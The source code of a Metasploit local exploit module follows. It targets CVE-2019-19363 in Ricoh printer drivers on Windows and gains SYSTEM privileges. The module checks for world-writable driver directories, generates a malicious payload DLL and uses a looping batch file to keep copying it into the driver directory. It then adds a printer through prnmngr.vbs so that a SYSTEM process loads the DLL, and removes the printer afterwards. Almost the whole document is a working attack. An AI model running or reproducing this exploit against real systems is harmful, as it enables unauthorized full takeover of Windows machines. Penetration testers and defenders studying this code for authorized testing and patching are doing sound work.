## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Ricoh Driver Privilege Escalation', 'Description' => %q( Various Ricoh printer drivers allow escalation of privileges on Windows systems. For vulnerable drivers, a low-privileged user can read/write files within the `RICOH_DRV` directory and its subdirectories. `PrintIsolationHost.exe`, a Windows process running as NT AUTHORITY\SYSTEM, loads driver-specific DLLs during the installation of a printer. A user can elevate to SYSTEM by writing a malicious DLL to the vulnerable driver directory and adding a new printer with a vulnerable driver. This module leverages the `prnmngr.vbs` script to add and delete printers. Multiple runs of this module may be required given successful exploitation is time-sensitive. ), 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Pudwill', # discovery & PoC 'Pentagrid AG', # PoC 'Shelby Pace' # msf module ], 'References' => [ [ 'CVE', '2019-19363'], [ 'URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/'] ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => 'win', 'Payload' => { }, 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [[ 'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ], 'Reliability' => [ UNRELIABLE_SESSION ], 'Stability' => [ SERVICE_RESOURCE_LOSS ] }, 'DisclosureDate' => "Jan 22 2020", 'DefaultTarget' => 0 )) self.needs_cleanup = true register_advanced_options([ OptBool.new('ForceExploit', [ false, 'Override check result', false ]) ]) end def check dir_name = "C:\\ProgramData\\RICOH_DRV" return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name) driver_names = dir(dir_name) return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length vulnerable = false driver_names.each do |driver_name| full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz" next unless directory?(full_path) @driver_path = full_path res = cmd_exec("icacls \"#{@driver_path}\"") next unless res.include?('Everyone:') next unless res.match(/\(F\)/) vulnerable = true break end return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable vprint_status("Vulnerable driver directory: #{@driver_path}") CheckCode::Appears('Ricoh driver directory has full permissions') end def add_printer(driver_name) fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path) dll_data = generate_payload_dll dll_path = "#{@driver_path}\\headerfooter.dll" temp_path = expand_path('%TEMP%\\headerfooter.dll') vprint_status("Writing dll to #{temp_path}") bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat") cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\"" bat_file = <<~HEREDOC :repeat #{cp_cmd} && goto :repeat HEREDOC write_file(bat_file_path, bat_file) write_file(temp_path, dll_data) register_files_for_cleanup(bat_file_path, temp_path) script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\"" bat_cmd = "cmd.exe /c \"#{bat_file_path}\"" print_status("Adding printer #{@printer_name}...") client.sys.process.execute(script_cmd, nil, { 'Hidden' => true }) vprint_status("Executing script...") cmd_exec(bat_cmd) rescue Rex::Post::Meterpreter::RequestError => e e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end def exploit fail_with(Failure::None, 'Already running as SYSTEM') if is_system? fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter' if sysinfo['Architecture'] != payload.arch.first fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver') end @driver_path = '' unless check == CheckCode::Appears || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override') end @printer_name = Rex::Text.rand_text_alpha(5..9) @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs" drvr_name = @driver_path.split('\\') drvr_name_idx = drvr_name.index('RICOH_DRV') + 1 drvr_name = drvr_name[drvr_name_idx] add_printer(drvr_name) end def cleanup print_status("Deleting printer #{@printer_name}") Rex.sleep(3) delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\"" client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true }) end end